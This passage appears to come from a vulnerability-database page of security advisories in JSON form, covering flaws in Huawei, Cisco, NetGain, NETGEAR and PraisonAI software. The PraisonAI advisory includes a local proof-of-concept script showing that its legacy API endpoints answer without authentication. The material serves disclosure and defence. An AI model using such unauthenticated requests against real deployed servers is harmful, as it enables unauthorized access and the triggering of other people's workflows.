"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-06T13:15:11Z",
"severity": "MODERATE"
},
"details": "Vulnerability of kernel raw address leakage in the hang detector module. Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-6mpr-vvfh-r7h5",
"modified": "2024-04-04T05:26:32Z",
"published": "2023-07-06T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3456"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/7"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202307-0000001587168858"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MVC-XJ8R-V5FH
Vulnerability from github – Published: 2023-03-03 18:30 – Updated: 2023-03-10 15:30Multiple vulnerabilities in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to collect sensitive information or perform a server-side request forgery (SSRF) attack on an affected system. Cisco plans to release software updates that address these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2023-20061"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-03T16:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to collect sensitive information or perform a server-side request forgery (SSRF) attack on an affected system. Cisco plans to release software updates that address these vulnerabilities.",
"id": "GHSA-6mvc-xj8r-v5fh",
"modified": "2023-03-10T15:30:42Z",
"published": "2023-03-03T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20061"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cuic-infodisc-ssrf-84ZBmwVk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6Q49-FQJM-G2G3
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37This vulnerability allows remote attackers to execute code by creating arbitrary files on vulnerable installations of NetGain Systems Enterprise Manager 7.2.730 build 1034. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the org.apache.jsp.u.jsp.settings.upload_005ffile_005fdo_jsp servlet, which listens on TCP port 8081 by default. When parsing the filename parameter, the process does not properly validate user-supplied data, which can allow for the upload of files. An attacker can leverage this vulnerability to execute code under the context of Administrator. Was ZDI-CAN-5194.
{
"affected": [],
"aliases": [
"CVE-2017-16603"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-23T01:29:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute code by creating arbitrary files on vulnerable installations of NetGain Systems Enterprise Manager 7.2.730 build 1034. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the org.apache.jsp.u.jsp.settings.upload_005ffile_005fdo_jsp servlet, which listens on TCP port 8081 by default. When parsing the filename parameter, the process does not properly validate user-supplied data, which can allow for the upload of files. An attacker can leverage this vulnerability to execute code under the context of Administrator. Was ZDI-CAN-5194.",
"id": "GHSA-6q49-fqjm-g2g3",
"modified": "2022-05-13T01:37:23Z",
"published": "2022-05-13T01:37:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16603"
},
{
"type": "WEB",
"url": "https://zerodayinitiative.com/advisories/ZDI-17-968"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6QJ7-98XG-FPGF
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of NETGEAR R7450 1.2.0.62_1.0.1 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the mini_httpd service, which listens on TCP port 80 by default. The issue results from improper state tracking in the password recovery process. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-11365.
{
"affected": [],
"aliases": [
"CVE-2020-27872"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-04T17:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of NETGEAR R7450 1.2.0.62_1.0.1 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the mini_httpd service, which listens on TCP port 80 by default. The issue results from improper state tracking in the password recovery process. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-11365.",
"id": "GHSA-6qj7-98xg-fpgf",
"modified": "2022-05-24T17:40:57Z",
"published": "2022-05-24T17:40:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27872"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-071"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6RMH-7XCM-CPXJ
Vulnerability from github – Published: 2026-05-11 13:56 – Updated: 2026-05-11 13:56Summary
PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.
Details
The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.
AUTH_ENABLED = FalseandAUTH_TOKEN = Noneare hard-coded at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).check_auth()returnsTruewhenever authentication is disabled, so both protected routes fail open by design at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).POST /chatonly checks that the request JSON contains amessagekey and then runsPraisonAI(agent_file="agents.yaml").run()at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).GET /agentsis guarded by the same no-op authentication check and returns agent metadata at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55).- When launched directly, the same script binds to
0.0.0.0:8080at src/praisonai/api_server.py.
The deploy subsystem keeps the same insecure authentication default:
APIConfigdefaultsauth_enabledtoFalsein [src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).- The generated sample API deployment YAML recommends
host: 0.0.0.0together withauth_enabled: falsein [src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).
For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.
Version scope:
v2.5.6already ships the samesrc/praisonai/api_server.pyimplementation.- The current PyPI release on May 1, 2026 is
4.6.33, and it still ships the same unauthenticated server logic.
PoC
The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.
- From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
- Execute the shipped
src/praisonai/api_server.pyunder a minimal stub forpraisonai.PraisonAIso only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types
stub = types.ModuleType("praisonai")
class DummyPraisonAI:
def __init__(self, agent_file="agents.yaml"):
self.agent_file = agent_file
def run(self):
return {"ran": True, "agent_file": self.agent_file}
stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub
path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
- Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}
Both endpoints succeed without any Authorization header.
Impact
Any reachable caller can invoke the legacy API server's protected functionality without a token.
At minimum, this allows:
- unauthenticated enumeration of the configured agent file through
/agents - unauthenticated triggering of the locally configured
agents.yamlworkflow through/chat - repeated consumption of model/API quota and any other side effects performed by that workflow
- exposure of whatever result
PraisonAI.run()returns to the unauthenticated caller
This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.33"
},
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.6"
},
{
"fixed": "4.6.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44338"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T13:56:16Z",
"nvd_published_at": "2026-05-08T14:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\nPraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access `/agents` and trigger the configured `agents.yaml` workflow through `/chat` without providing a token.\n\n### Details\nThe vulnerable server is the shipped `src/praisonai/api_server.py` entrypoint.\n\n- `AUTH_ENABLED = False` and `AUTH_TOKEN = None` are hard-coded at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).\n- `check_auth()` returns `True` whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).\n- `POST /chat` only checks that the request JSON contains a `message` key and then runs `PraisonAI(agent_file=\"agents.yaml\").run()` at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).\n- `GET /agents` is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66):55).\n- When launched directly, the same script binds to `0.0.0.0:8080` at [src/praisonai/api_server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66).\n\nThe deploy subsystem keeps the same insecure authentication default:\n\n- `APIConfig` defaults `auth_enabled` to `False` in [[src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).\n- The generated sample API deployment YAML recommends `host: 0.0.0.0` together with `auth_enabled: false` in [[src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).\n\nFor scope clarity: the newer `serve agents` command is safer by default, because it binds to `127.0.0.1` and supports `--api-key` in [[src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.\n\nVersion scope:\n\n- `v2.5.6` already ships the same `src/praisonai/api_server.py` implementation.\n- The current PyPI release on May 1, 2026 is `4.6.33`, and it still ships the same unauthenticated server logic.\n\n### PoC\nThe following route-level reproduction was verified locally and proves that the shipped `api_server.py` exposes `/agents` and `/chat` without authentication.\n\n1. From the repository root, create a throwaway environment with the server\u0027s direct Flask dependencies:\n\n```bash\npython3 -m venv /tmp/praisonai-ghsa-venv\n/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors\n```\n\n2. Execute the shipped `src/praisonai/api_server.py` under a minimal stub for `praisonai.PraisonAI` so only the server auth logic is exercised:\n\n```bash\n/tmp/praisonai-ghsa-venv/bin/python - \u003c\u003c\u0027PY\u0027\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nstub = types.ModuleType(\"praisonai\")\n\nclass DummyPraisonAI:\n def __init__(self, agent_file=\"agents.yaml\"):\n self.agent_file = agent_file\n def run(self):\n return {\"ran\": True, \"agent_file\": self.agent_file}\n\nstub.PraisonAI = DummyPraisonAI\nsys.modules[\"praisonai\"] = stub\n\npath = pathlib.Path(\"src/praisonai/api_server.py\").resolve()\nspec = importlib.util.spec_from_file_location(\"api_server_local\", path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\n\nclient = mod.app.test_client()\nprint(client.get(\"/agents\").status_code, client.get(\"/agents\").get_data(as_text=True))\nprint(client.post(\"/chat\", json={\"message\": \"hello\"}).status_code, client.post(\"/chat\", json={\"message\": \"hello\"}).get_data(as_text=True))\nPY\n```\n\n3. Observed result:\n\n```text\n200 {\"agent_file\":\"agents.yaml\",\"agents\":[\"default\"]}\n200 {\"response\":{\"agent_file\":\"agents.yaml\",\"ran\":true},\"status\":\"success\"}\n```\n\nBoth endpoints succeed without any `Authorization` header.\n\n### Impact\nAny reachable caller can invoke the legacy API server\u0027s protected functionality without a token.\n\nAt minimum, this allows:\n\n- unauthenticated enumeration of the configured agent file through `/agents`\n- unauthenticated triggering of the locally configured `agents.yaml` workflow through `/chat`\n- repeated consumption of model/API quota and any other side effects performed by that workflow\n- exposure of whatever result `PraisonAI.run()` returns to the unauthenticated caller\n\nThis is not the same as arbitrary prompt injection by itself, because the current `/chat` handler ignores the submitted `message` value and simply runs the configured workflow. The impact therefore depends on what the operator\u0027s `agents.yaml` is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.",
"id": "GHSA-6rmh-7xcm-cpxj",
"modified": "2026-05-11T13:56:16Z",
"published": "2026-05-11T13:56:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44338"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.